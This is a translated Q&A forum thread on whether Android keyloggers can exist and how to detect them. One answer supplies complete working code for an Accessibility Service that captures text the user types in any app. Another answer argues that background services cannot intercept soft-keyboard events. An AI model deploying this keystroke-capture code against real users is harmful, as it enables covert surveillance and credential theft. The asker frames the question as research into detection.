Avt*_*ria 20 service android keylogger
简介:我想在Android Security上创建一个POC,需要确定Android设备上是否有任何KeyLogger运行.如果它正在设备上运行或安装,那么在我的Android应用程序中禁用它.
查询:
1.)这是否可以创建Android键盘记录器来拦截键盘事件并在后台作为服务运行?
2.)这是否可以识别是否有任何后台进程处理键盘事件?
3.)我可以通过我的应用程序代码停止任何其他后台服务(不属于我)吗?
如果你有,请帮助我提供合适的链接.
ana*_*nth 21
我知道这个问题已经有了一个公认的答案,但我不同意接受的答案!
这可以通过辅助功能API在android中完成.
看看下面的程序:
它使用辅助功能API,并正确存储您在任何应用程序中键入的每个键击,这实际上是键盘记录器的作用!
编辑:我不确定TypeMachine使用什么,但您应该能够使用此方法从辅助功能服务获取文本.例如,以下代码可用于获取新文本:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}
Run Code Online (Sandbox Code Playgroud)
Nan*_*sai 15
作为对@ananth的回答的后续跟进,这里有一个关于如何使用Accessibility Service实现键盘记录器的完整代码示例.
但是,这需要将服务绑定到系统的权限,并且用户必须通过导航到Android设备上的设置 > 辅助功能 > {您的应用名称}来明确打开您创建的服务.所以,如果你有邪恶的内涵,祝你好运.
第1步:将其粘贴到清单文件中.
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
Run Code Online (Sandbox Code Playgroud)
第2步:为您的辅助功能服务创建一个类.
public class MyAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
@Override
public void onInterrupt() {
//whatever
}
@Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
Run Code Online (Sandbox Code Playgroud)
而已.现在,用户在手机上的任何应用程序中键入的所有内容都将记录到控制台.您可以将上述类配置为仅在您需要时侦听来自某些指定应用程序的击键.上述类与您的MainActivity无关.一旦安装了应用程序,该服务就会立即注册.但是,再次,为了工作,这需要手动切换设置,如前所述.
阅读文档以获取有关可访问性的详细说明以及上面使用的每个类和方法的详细信息.
经过一整天的研究,我得出了以下结论。
Android不允许您拦截来自后台服务的默认软键盘输入。拦截这些事件的唯一方法是自定义键盘。
我总结如下:
在Android中,后台服务不支持键盘事件的日志记录。一些链接如下:
第1点: Google Android开发人员
由于软输入法可以使用多种创造性的文本输入方式,因此不能保证软键盘上的任何按键都会产生按键事件:这由IME自行决定,实际上不建议发送此类事件。对于软输入法上的任何键,您都不应依赖于接收KeyEvent。特别是,默认软件键盘将永远不会向任何以Jelly Bean或更高版本为目标的应用程序发送任何按键事件,而只会将某些按Delete键和返回键的事件发送给以Ice Cream Sandwich或更早版本为目标的应用程序。
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean是:4.1至4.3.1 Android IceCream Sandwich:4.0
不需要按下软输入法上的按键来触发此侦听器中的方法,实际上不鼓励这样做。默认的android键盘不会为以Jelly Bean或更高版本为目标的任何应用程序的任何按键触发这些按键,而只会在以某些按键向以Ice Cream Sandwich或更早版本为目标的应用程序提供按键时触发。
http://developer.android.com/reference/android/text/method/KeyListener.html
要点2:堆栈溢出KeyEvent只能由Activity处理,因为它们是用户按下键的接口,并且仅当它们位于前台时。甚至在后台运行的服务也不打算对用户输入做出反应。
第3点:为Google工作的Romain Guy Romain Guy(/sf/users/20900281/)也在服务中的onKeyDown上确认了它 吗?(全局热键)
第4点:其他参考:
Google android-developers组:https://groups.google.com/forum/#!topic / android-developers / o-- GUWmqXdI
这只能通过使用Custom KeyBoard来完成:在Android中按下键并抛出另一个键
如果您认为我错过了任何事情,请添加您的评论。
| 归档时间: |
|
| 查看次数: |
15809 次 |
| 最近记录: |